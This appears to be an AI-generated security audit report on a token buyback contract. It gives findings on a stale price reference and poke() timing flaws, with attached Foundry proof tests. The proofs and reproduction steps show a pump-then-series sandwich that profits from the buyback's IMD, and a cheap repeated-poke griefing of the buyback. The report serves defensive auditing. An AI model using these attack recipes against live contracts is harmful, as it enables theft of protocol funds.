   The info finding (line 146): after an idle day the in-call poke plus the band tolerates about a 4% pump. A single pre-buy of 2% of depth then rides 24 buybacks for +9.57 IMD, which test_pacedPreBuysDoNotPay does not test.

   Repeated pokes during a pump cannot exceed 2% a day. A dip bracketed around a poke after an idle day moved the reference only to the edge of the band (177 bps) and did not stall the buyback.

   Your other three questions

   • Low-level poke from recycle: safe. It cannot block recycle: the buyback address is immutable, poke has no reachable revert or reentrancy path, and a caller who starves it of gas only skips a call anyone can make anyway. Its one side effect is feeding the freeze in point 2.
   • ETH-router hookData: no effect elsewhere. The IMD/ETH leg still passes empty hookData, and the user cannot be spoofed. The only visible change is that Trade.trader for ETH-router trades is now the router's caller instead of tx.origin; the website only filters that event by token.
   • Regressions: none found in finding 3 (gift receipts), the earlier findings, or the v3 flash-holder protections; expiry accounting stays solvent and errs in the holder's favour. The existing 125 unit tests pass.

   Fork tests were skipped (no FORK_RPC), so nothing was checked against the live $Pepes pool. All numbers come from the same local setup as test/PepesBuyback.t.sol, with a pool depth of about 1,060 IMD.

   ran onclaude · claude-fable-5-1 · 24 turns · 17m 53s · 35 in · 65.6K out · 2.2M cached

   submission5695cb02ac1fef2971b2ccaf2fcbb2d4fa1216ffecd1891d2712de7d0316d11a

   device1731fbfe0c4574fb6e59405e92715a96ebaf28ae80246f080a0c3368e4023bf8

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing

   • mediumA reference left above the market disables the price guard: after a crash, or after holders sell into buybacks, pump-then-series pays againcontracts/src/PepesBuyback.sol:163

     Two rules combine. (1) Every buyback multiplies the reference by its own impact (line 163), about +1.9% in price per buyback, up to 24 times a day. (2) The reference only comes back down toward spot through poke(), at 2% a day (lines 128-131). So whenever the market ends up below the reference, the guard at line 147 stops binding for roughly gap/2% days: anyone can buy the price up to reference+2% and every hourly buyback still passes, because the pump is measured against the stale reference and each buyback's impact is then credited on top.

     No attacker is needed to reach that state. (a) A genuine crash: a -30% move leaves the reference ~28% above market five days later. (b) Ordinary operation: whenever holders sell into the rise a buyback caused, the price gives the impact back but the reference keeps it, so the reference climbs up to ~1.9% per buyback against a 2%/day pull-down.

     In that state the pump-then-series of audit ec4e3ea7 finding 1 works again: the buyer pumps, the buybacks spend more IMD (the 1% cap grows with the pumped depth) at the pumped price, and the buyer sells into the price they raised. The loss is the buyback's: IMD from expired rewards goes to the attacker instead of burning $Pepes. Afterwards the reference is higher still (it kept the buybacks' impact, the price did not), so it repeats whenever the reserve refills. The poke truncation finding lets the attacker stop the gap from decaying at all.

     Fix (needs a design decision): let the reference fall faster than it rises, e.g. a downward step per hour instead of per day with the same one-update cap, so a real fall is followed within hours; and do not let own-impact credit accumulate once the market has given it back. The trade-off is b803125e finding 5: a faster downward step lets a dip bracketed around a poke lower the reference by that step. That costs the round-trip fee each time and only delays buybacks; it never makes them overpay. With a downward step 24x the upward one, the attached proof passes (eve loses 7.7 IMD); I did not re-run the full suite against that change.

     whole finding

     Setup as test/PepesBuyback.t.sol (pool depth ~1,060 IMD).

     Crash state (attached proof, contracts/test/scratch/CrashResidual.t.sol): bob sells 2% of his bag (price -30%); 5 days pass with a poke every hour; the buyback holds 20% of depth. eve buys 11% of depth, calls buybackAndBurnPepes every hour for 12 hours, sells everything.

     Expected (as test_pumpThenSeriesStalls asserts for the same strategy): no buyback runs into the pump and eve ends at or below her starting balance.

     Actual: all 12 buybacks run; eve ends +14.33 IMD. The buyback spends 125.01 IMD and burns 11.17M Pepes; the same 12 buybacks without eve spend 113.07 IMD and burn 12.35M (18% fewer Pepes per IMD).

     Drift state, no crash: the buyback holds 1,061.9 IMD and runs 24 hourly buybacks; after each one a holder sells exactly the number of Pepes just burned (pool depth is back at exactly 1,061.908 IMD at the end). eve then buys 20% of depth: priceRiseBps() is still 0. 12 hourly buybacks run into her pump and she sells: +29.07 IMD, out of 160.18 IMD the buyback spent meanwhile.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     
     import {PepesFamily} from "src/PepesFamily.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     import {PepesBuyback} from "src/PepesBuyback.sol";
     import {PadToken} from "src/PadToken.sol";
     
     contract ProofIMD {
         string public name = "Identity.md";
         string public symbol = "IMD";
         uint8 public decimals = 18;
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     /// @dev Only there so launchpad A (which hosts the "$Pepes" pool) can be deployed: its own buyback is never used.
     contract ProofWiring {
         PoolKey key;
     
         function setKey(PoolKey memory k) external {
             key = k;
         }
     
         function pad() external view returns (address) {
             return address(this);
         }
     
         function poolKey(address) external view returns (PoolKey memory) {
             return key;
         }
     }
     
     /// @dev "$Pepes" is a token launched on launchpad A (same 4% hook fee and single-sided curve as the live v1 pool);
     ///      launchpad B's PepesBuyback buys it through A's router, as production buys $Pepes through the v1 router.
     abstract contract ProofBase is Test {
         uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
         int24 constant START_TICK = 161000; // ~100 IMD starting market cap
     
         PoolManager pm;
         ProofIMD imd;
         PepesFamilyRouter routerA;
         PadToken pepes;
         PepesBuyback buyback;
     
         address eve = makeAddr("eve");
         address bob = makeAddr("bob");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ProofIMD();
     
             ProofIMD other = new ProofIMD();
             ProofWiring w = new ProofWiring();
             (address c0, address c1) =
                 address(other) < address(imd) ? (address(other), address(imd)) : (address(imd), address(other));
             PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
             pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
             w.setKey(k);
     
             PepesFamily padA = _deployPad(address(other), address(w));
             routerA = PepesFamilyRouter(payable(padA.router()));
             pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
             imd.mint(bob, 10_000e18);
             vm.startPrank(bob);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             routerA.buy(address(pepes), 1_000e18, 0, block.timestamp); // gives the $Pepes pool some depth
             vm.stopPrank();
     
             buyback = PepesBuyback(_deployPad(address(pepes), address(routerA)).buyback());
     
             imd.mint(eve, 10_000e18);
             vm.startPrank(eve);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             vm.stopPrank();
         }
     
         function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
             bytes memory initCode = abi.encodePacked(
                 type(PepesFamily).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(this),
                     START_TICK,
                     PepesFamily.ImdEthPool(10_000, 100, address(0)),
                     pepes_,
                     pepesRouter_
                 )
             );
             bytes32 h = keccak256(initCode);
             for (uint256 i; i < 500_000; i++) {
                 address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                 if (uint160(a) & 0x3FFF != FLAGS) continue;
                 address deployed;
                 assembly {
                     deployed := create2(0, add(initCode, 0x20), mload(initCode), i)
                 }
                 require(deployed == a, "hook address");
                 return PepesFamily(deployed);
             }
             revert("no salt");
         }
     
         function _tryBuyback() internal returns (bool ok) {
             try buyback.buybackAndBurnPepes(0, block.timestamp) {
                 ok = true;
             } catch {}
         }
     
         function _depth() internal view returns (uint256) {
             return buyback.maxBuyback() * 100;
         }
     }
     
     contract CrashResidualProof is ProofBase {
         /// A genuine crash (bob sells 2% of his bag, about -30%), then five days of hourly upkeep pokes. eve then buys 11%
         /// of depth, calls the buyback every hour for 12 hours, and sells: the pump-then-series of audit ec4e3ea7
         /// finding 1, which the guard exists to stall.
         function test_pumpThenSeriesAfterCrashMustNotPay() public {
             vm.startPrank(bob);
             routerA.sell(address(pepes), pepes.balanceOf(bob) / 50, 0, block.timestamp);
             vm.stopPrank();
             for (uint256 i; i < 5 * 24; i++) {
                 vm.warp(block.timestamp + 1 hours);
                 buyback.poke();
             }
     
             uint256 depth = _depth();
             imd.mint(address(buyback), depth / 5);
             uint256 start = imd.balanceOf(eve);
             vm.startPrank(eve);
             uint256 got = routerA.buy(address(pepes), (depth * 11) / 100, 0, block.timestamp);
             uint256 runs;
             for (uint256 h; h < 12; h++) {
                 if (_tryBuyback()) runs++;
                 vm.warp(block.timestamp + 1 hours);
             }
             routerA.sell(address(pepes), got, 0, block.timestamp);
             vm.stopPrank();
     
             emit log_named_uint("buybacks that ran into the pump", runs);
             emit log_named_decimal_int("eve P&L (IMD)", int256(imd.balanceOf(eve)) - int256(start), 18);
             emit log_named_decimal_uint("IMD spent", buyback.totalImdSpent(), 18);
             emit log_named_decimal_uint("Pepes burned", buyback.totalPepesBurned(), 18);
             assertLe(imd.balanceOf(eve), start, "pump-then-series must not pay");
         }
     }

     whole proof

   • mediumpoke() rounds its step down to whole basis points but always restarts the clock: pokes less than 864 s apart freeze the referencecontracts/src/PepesBuyback.sol:128

     h = 200 * dt / 172800 = dt / 864 in integer math, so any poke with dt < 864 s has h = 0 and moves nothing, yet line 124 has already set refTime to now. The elapsed time is spent without being credited. Every poke loses dt mod 864 s: pokes every 1,727 s follow at half speed, pokes every 863 s or less not at all.

     poke() is permissionless and is also called by every PadToken.recycle of every v4 token (PadToken.sol line 329). So the reference stops following the market, in both directions, either when one person sends a cheap transaction every 14 minutes or simply when recycles arrive that often. More frequent upkeep makes the reference slower, the opposite of what the 2%/day rule promises.

     Impact: after any rise of more than 2% the buyback reverts PriceRisen for as long as the pokes keep coming, so expired rewards pile up in the contract unburned. After a fall, the reference stays above market indefinitely, which keeps open the state in which a pump followed by the hourly series pays (see the reference-above-market finding).

     Fix: compute the step at full precision, e.g. step = ref * REF_STEP_PER_DAY_BPS * dt / (2 days * 10_000) with lo = ref - step and hi = ref + step; or advance refTime only by the time actually credited (h * 864 s). With the full-precision step the attached proof passes.

     whole finding

     Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 100 IMD of Pepes: priceRiseBps() = 1889. Then for 30 days someone calls poke() every 10 minutes (same result at 800 s).

     Expected: the reference follows at 2% a day and the buyback resumes after about 8 days (test_organicRiseOnlyDelays, which pokes once a day, resumes in 8).

     Actual: refSqrtPrice is unchanged (23817539250915624842179591654741 before and after), priceRiseBps() is still 1889, buybackAndBurnPepes reverts PriceRisen.

     Single step: warp 863 s, poke(): refSqrtPrice unchanged and refTime == block.timestamp.

     Attached proof: contracts/test/scratch/PokeTruncation.t.sol fails with '30 days of pokes never moved the reference'.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     
     import {PepesFamily} from "src/PepesFamily.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     import {PepesBuyback} from "src/PepesBuyback.sol";
     import {PadToken} from "src/PadToken.sol";
     
     contract ProofIMD {
         string public name = "Identity.md";
         string public symbol = "IMD";
         uint8 public decimals = 18;
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     /// @dev Only there so launchpad A (which hosts the "$Pepes" pool) can be deployed: its own buyback is never used.
     contract ProofWiring {
         PoolKey key;
     
         function setKey(PoolKey memory k) external {
             key = k;
         }
     
         function pad() external view returns (address) {
             return address(this);
         }
     
         function poolKey(address) external view returns (PoolKey memory) {
             return key;
         }
     }
     
     /// @dev "$Pepes" is a token launched on launchpad A (same 4% hook fee and single-sided curve as the live v1 pool);
     ///      launchpad B's PepesBuyback buys it through A's router, as production buys $Pepes through the v1 router.
     abstract contract ProofBase is Test {
         uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
         int24 constant START_TICK = 161000; // ~100 IMD starting market cap
     
         PoolManager pm;
         ProofIMD imd;
         PepesFamilyRouter routerA;
         PadToken pepes;
         PepesBuyback buyback;
     
         address eve = makeAddr("eve");
         address bob = makeAddr("bob");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ProofIMD();
     
             ProofIMD other = new ProofIMD();
             ProofWiring w = new ProofWiring();
             (address c0, address c1) =
                 address(other) < address(imd) ? (address(other), address(imd)) : (address(imd), address(other));
             PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
             pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
             w.setKey(k);
     
             PepesFamily padA = _deployPad(address(other), address(w));
             routerA = PepesFamilyRouter(payable(padA.router()));
             pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
             imd.mint(bob, 10_000e18);
             vm.startPrank(bob);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             routerA.buy(address(pepes), 1_000e18, 0, block.timestamp); // gives the $Pepes pool some depth
             vm.stopPrank();
     
             buyback = PepesBuyback(_deployPad(address(pepes), address(routerA)).buyback());
     
             imd.mint(eve, 10_000e18);
             vm.startPrank(eve);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             vm.stopPrank();
         }
     
         function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
             bytes memory initCode = abi.encodePacked(
                 type(PepesFamily).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(this),
                     START_TICK,
                     PepesFamily.ImdEthPool(10_000, 100, address(0)),
                     pepes_,
                     pepesRouter_
                 )
             );
             bytes32 h = keccak256(initCode);
             for (uint256 i; i < 500_000; i++) {
                 address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                 if (uint160(a) & 0x3FFF != FLAGS) continue;
                 address deployed;
                 assembly {
                     deployed := create2(0, add(initCode, 0x20), mload(initCode), i)
                 }
                 require(deployed == a, "hook address");
                 return PepesFamily(deployed);
             }
             revert("no salt");
         }
     
         function _tryBuyback() internal returns (bool ok) {
             try buyback.buybackAndBurnPepes(0, block.timestamp) {
                 ok = true;
             } catch {}
         }
     
         function _depth() internal view returns (uint256) {
             return buyback.maxBuyback() * 100;
         }
     }
     
     contract PokeTruncationProof is ProofBase {
         /// The price sits ~19% above the reference. poke() is documented to follow at 2% a day, so 30 days are plenty.
         /// Here someone (anyone: poke is permissionless and every PadToken.recycle calls it) pokes every 10 minutes.
         function test_frequentPokesStillFollowTheMarket() public {
             imd.mint(address(buyback), 100e18);
             vm.prank(eve);
             routerA.buy(address(pepes), 100e18, 0, block.timestamp);
             assertGt(buyback.priceRiseBps(), 1_000, "price is well above the reference");
             uint160 ref0 = buyback.refSqrtPrice();
     
             for (uint256 i; i < 30 days / 10 minutes; i++) {
                 vm.warp(block.timestamp + 10 minutes);
                 buyback.poke();
             }
     
             assertTrue(buyback.refSqrtPrice() != ref0, "30 days of pokes never moved the reference");
             assertLe(buyback.priceRiseBps(), buyback.MAX_PRICE_RISE_BPS(), "2% a day for 30 days covers a 19% rise");
             buyback.buybackAndBurnPepes(0, block.timestamp);
             assertGt(buyback.totalImdSpent(), 0, "the buyback resumed");
         }
     }

     whole proof

   • lowA buyback that fails the guard reverts its own poke, so buyback attempts alone never un-stall itcontracts/src/PepesBuyback.sol:147

     buybackAndBurnPepes calls poke() at line 146 and then reverts with PriceRisen at line 147 when the price is still more than 2% above the reference. The revert undoes the poke's writes to refTime and refSqrtPrice. So 'poke runs inside every buyback' is only true for buybacks that pass the guard, which is exactly when it is not needed.

     Once the price is more than about 4% above the reference (2% band plus the single in-call step), a keeper that calls the buyback every hour makes no progress, ever. Only a separate poke() or a recycle moves the reference, and because one update counts at most one day, someone has to do that at least daily. The contract NatSpec ('poke, also run by every recycle and buyback') and the comment on test_organicRiseOnlyDelays ('every recycle and buyback attempt') say otherwise; that test passes only because its loop calls buyback.poke() explicitly.

     Fix: keep the poke when the guard fails, e.g. release the lock and return 0 instead of reverting (with that change the attached proof passes), or emit the stall and document that upkeep must call poke() daily.

     whole finding

     Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 100 IMD of Pepes: priceRiseBps() = 1889. A keeper then calls buybackAndBurnPepes(0, block.timestamp) once an hour and nothing else is called.

     Expected: the reference follows at 2% a day and the buyback resumes after about 8 days.

     Actual: after 60 days (1,440 attempts) zero buybacks ran, refSqrtPrice never changed and priceRiseBps() is still 1889.

     Attached proof: contracts/test/scratch/FailedAttemptPoke.t.sol (30 days) fails with '720 hourly attempts never moved the reference'.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     
     import {PepesFamily} from "src/PepesFamily.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     import {PepesBuyback} from "src/PepesBuyback.sol";
     import {PadToken} from "src/PadToken.sol";
     
     contract ProofIMD {
         string public name = "Identity.md";
         string public symbol = "IMD";
         uint8 public decimals = 18;
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     /// @dev Only there so launchpad A (which hosts the "$Pepes" pool) can be deployed: its own buyback is never used.
     contract ProofWiring {
         PoolKey key;
     
         function setKey(PoolKey memory k) external {
             key = k;
         }
     
         function pad() external view returns (address) {
             return address(this);
         }
     
         function poolKey(address) external view returns (PoolKey memory) {
             return key;
         }
     }
     
     /// @dev "$Pepes" is a token launched on launchpad A (same 4% hook fee and single-sided curve as the live v1 pool);
     ///      launchpad B's PepesBuyback buys it through A's router, as production buys $Pepes through the v1 router.
     abstract contract ProofBase is Test {
         uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
         int24 constant START_TICK = 161000; // ~100 IMD starting market cap
     
         PoolManager pm;
         ProofIMD imd;
         PepesFamilyRouter routerA;
         PadToken pepes;
         PepesBuyback buyback;
     
         address eve = makeAddr("eve");
         address bob = makeAddr("bob");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ProofIMD();
     
             ProofIMD other = new ProofIMD();
             ProofWiring w = new ProofWiring();
             (address c0, address c1) =
                 address(other) < address(imd) ? (address(other), address(imd)) : (address(imd), address(other));
             PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
             pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
             w.setKey(k);
     
             PepesFamily padA = _deployPad(address(other), address(w));
             routerA = PepesFamilyRouter(payable(padA.router()));
             pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
             imd.mint(bob, 10_000e18);
             vm.startPrank(bob);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             routerA.buy(address(pepes), 1_000e18, 0, block.timestamp); // gives the $Pepes pool some depth
             vm.stopPrank();
     
             buyback = PepesBuyback(_deployPad(address(pepes), address(routerA)).buyback());
     
             imd.mint(eve, 10_000e18);
             vm.startPrank(eve);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             vm.stopPrank();
         }
     
         function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
             bytes memory initCode = abi.encodePacked(
                 type(PepesFamily).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(this),
                     START_TICK,
                     PepesFamily.ImdEthPool(10_000, 100, address(0)),
                     pepes_,
                     pepesRouter_
                 )
             );
             bytes32 h = keccak256(initCode);
             for (uint256 i; i < 500_000; i++) {
                 address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                 if (uint160(a) & 0x3FFF != FLAGS) continue;
                 address deployed;
                 assembly {
                     deployed := create2(0, add(initCode, 0x20), mload(initCode), i)
                 }
                 require(deployed == a, "hook address");
                 return PepesFamily(deployed);
             }
             revert("no salt");
         }
     
         function _tryBuyback() internal returns (bool ok) {
             try buyback.buybackAndBurnPepes(0, block.timestamp) {
                 ok = true;
             } catch {}
         }
     
         function _depth() internal view returns (uint256) {
             return buyback.maxBuyback() * 100;
         }
     }
     
     contract FailedAttemptPokeProof is ProofBase {
         /// The price sits ~19% above the reference and a keeper calls the buyback every hour for 30 days, nothing else.
         /// "poke runs inside every buyback", so the reference should follow at 2% a day and the buyback resume.
         function test_hourlyAttemptsAloneEventuallyResume() public {
             imd.mint(address(buyback), 100e18);
             vm.prank(eve);
             routerA.buy(address(pepes), 100e18, 0, block.timestamp);
             assertGt(buyback.priceRiseBps(), 1_000, "price is well above the reference");
             uint160 ref0 = buyback.refSqrtPrice();
     
             for (uint256 i; i < 30 * 24; i++) {
                 vm.warp(block.timestamp + 1 hours);
                 _tryBuyback();
             }
     
             assertTrue(buyback.refSqrtPrice() != ref0, "720 hourly attempts never moved the reference");
             assertGt(buyback.totalImdSpent(), 0, "the buyback resumed within 30 days");
         }
     }

     whole proof

   • infoAfter an idle day the effective band is about 4%, and one pre-buy inside it rides the whole series at a profitcontracts/src/PepesBuyback.sol:146

     The buyback pokes first (line 146) and checks the guard second (line 147). When a day has passed since the last update, the poke moves the reference up to 2% toward a price that was pumped in the same transaction, and the guard then allows another 2%. A pre-buy of about 2% of depth (roughly +4% in price) therefore passes. From then on the reference follows each buyback's own impact, so every later buyback passes as well while the buyer simply holds.

     test_pacedPreBuysDoNotPay asserts 'riding the hourly series must not pay', but it only tests re-buying before every buyback, which stalls after the first. Buying once and holding does pay. This is bounded (the buyback overpays by at most the band) and partly inherent to a public schedule, since any holder gains from 24 buybacks of ~1.9% each; it is listed so the bound is known. Checking the guard against the reference as it stood before this call's poke would keep the band at the documented 2%.

     whole finding

     Setup as test/PepesBuyback.t.sol; the buyback holds 1,061.9 IMD (one pool depth). Warp 1 day. eve buys 2% of depth (21.24 IMD), 24 hourly buybacks follow, then she sells.

     Expected per the test's stated property: eve does not profit.

     Actual: all 24 buybacks run and eve ends +9.57 IMD (45% on her position, 3.3% of the 290.55 IMD the buyback spent).

6. reviewed
   #125Audit mathClaude4 findings · 1 high

   The review is complete. The findings file holds four entries, two with executable proofs, and no tracked file in the tree was changed.

   What I found

   • High, contracts/src/PepesBuyback.sol:128. The reference step is computed as dt / 864 in integer half-basis-points of sqrtPrice, but refTime is reset on every call. Any poke less than 864 seconds after the previous one moves nothing and discards the elapsed time. Pokes every 14 minutes freeze the reference at zero cost, so once the price is 2% above it the buyback reverts forever and the IMD has no other exit. This also arises without an attacker from a frequent keeper or recycle bot. Proof: price up 10%, poke every 800 s for 10 days, reference bit-identical, buyback still blocked. Fix is a full-precision step via mulDiv, or carrying the remainder of the clock.

   • Medium, contracts/src/PepesBuyback.sol:131. The guard is one-sided and the reference follows a genuine decline at only 2% per day, so after a real drop it sits above market for weeks. In that window the pump-then-series sandwich from audit ec4e3ea7 finding 1 works again. Proof: bob sells 60%, two hourly pokes, eve pumps 40% of depth, 14 hourly buybacks run into it, eve nets 9.63 IMD of the 31.93 IMD the buyback spent. Proposed fix follows a fall quickly only when two samples at least an hour apart agree, which keeps the dump-bracket test from audit b803125e passing.

   • Low, contracts/src/PepesBuyback.sol:147. A buyback attempt rejected by the guard reverts its own poke, so a keeper that retries hourly never advances the reference, contrary to the notice.

   • Info, contracts/test/PepesBuyback.t.sol:211. The suite never pokes below 864 s and never starts from a reference above market, so neither defect is covered.

   What held up

   • Repeated pokes during a pump cannot exceed 2% per day, and bracketing the poke with a pump does not pay: each day's pump must exceed the drifted reference, so the trade size compounds and fees reach roughly half the pool depth before the guard loosens enough to matter.
   • The low-level poke call from recycle is safe. Poke has no path that reverts on immutable wiring, makes only view calls, cannot reenter the token, and a failure is ignored.
   • The ETH router passes empty hookData on the IMD/ETH legs as before, and the Trade event only changes for contract-wallet users, who are now attributed correctly.
   • No regression of the v3 guarantees or of findings 3 and 4 was found. The full non-fork suite passes at 125 tests on the unchanged tree.

   Both proof files under contracts/test/scratch/ were run against the current code and fail, and were verified to pass under a candidate patch which was then reverted. Fork tests were not run since the verifier has no network.

   ran onclaude · claude-fable-5-1 · 30 turns · 19m 17s · 450 in · 57.9K out · 1.5M cached

   submission405bf224b484384cda5b00ccaa4bdd39e923c65de98e8eb1661d48200b797c12

   device27168b1ff68f84d222c33c9caedd445b1ce14d8429cb7647d95146490b6d392c

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing

   • highpoke(): step truncates to zero for dt < 864 s but still consumes the clock, so frequent pokes freeze the reference and stall the buyback indefinitelycontracts/src/PepesBuyback.sol:128

     PepesBuyback.poke() (contracts/src/PepesBuyback.sol:120-136) computes the per-update step as h = (200 * dt) / 172800 = dt / 864 in half-basis-points of sqrtPrice, as an integer. For any dt below 864 seconds h is 0, so lo == hi == ref and the reference does not move. But refTime is set to block.timestamp on line 124 before that, unconditionally, so the elapsed time is discarded rather than carried forward. The documented guarantee ('the reference drifts toward the market by at most 2% per day', README/notice lines 35-40, and 'an organic rise ... is followed at 2% a day') therefore only holds when updates are at least 864 s apart; with updates every 14.4 minutes or less it is 0% a day, forever. Even at the hourly cadence the buyback itself uses, h = 3600/864 = 4 instead of 4.17, i.e. 96 instead of 100 half-bps per day (1.92%/day, not 2%).

     poke() is permissionless and is also run by every PadToken.recycle (contracts/src/PadToken.sol:329) from every v4 token, so the frequent-call state arises without an attacker (a keeper or recycle bot that runs every few minutes) and can be forced by anyone for gas only. Once the $Pepes price is more than 2% above the reference (an organic rise, or one deliberate sell -> poke -> rebuy bracket in a single transaction after a day of accumulated clock, which moves the reference 2% below market at a cost of two 4% fees on about a 1%-of-depth trade), buybackAndBurnPepes reverts PriceRisen (line 147) on every call, and a reverted attempt also reverts its own poke. The IMD in PepesBuyback has no other exit ('the IMD here can only ever leave through the burn swap', line 45), so expired holder rewards from all v4 tokens accumulate there unspent for as long as the poking continues.

     Fix (keeps the 2%/day design): compute the step at full precision instead of in integer half-bps, e.g. step = FullMath.mulDiv(ref, REF_STEP_PER_DAY_BPS * dt, 2 * 1 days * 10_000); lo = ref - step; hi = ref + step; or, equivalently, only advance refTime by the whole steps consumed (refTime += h * 864) so the remainder carries over. Either way a poke every second still moves the reference at the documented rate. The attached proof passes with the first variant.

     whole finding

     State: deployed PepesBuyback with reference R at market price P (as in test/PepesBuyback.t.sol setUp). A third party buys and keeps tokens so the price is P' = 1.10 P (priceRiseBps ~ 1000, buybackAndBurnPepes reverts PriceRisen). Then call poke() once every 800 s for 10 days (1080 calls, no trades in between).

     Expected (notice lines 36-40, test_organicRiseOnlyDelays): the reference follows the rise at up to 2%/day, so within ~5 days priceRiseBps <= 200 and the buyback runs again.

     Actual: every call computes h = 200*800/172800 = 0, sets refTime = now, and leaves refSqrtPrice bit-identical to R; after 10 days priceRiseBps is still ~1000 and buybackAndBurnPepes still reverts PriceRisen. Single-step form: with the price above the reference, warp 863 s and poke(): refTime advances to now and refSqrtPrice is unchanged, although 863 s of drift budget (about 1 half-bp of sqrtPrice) should have been applied.

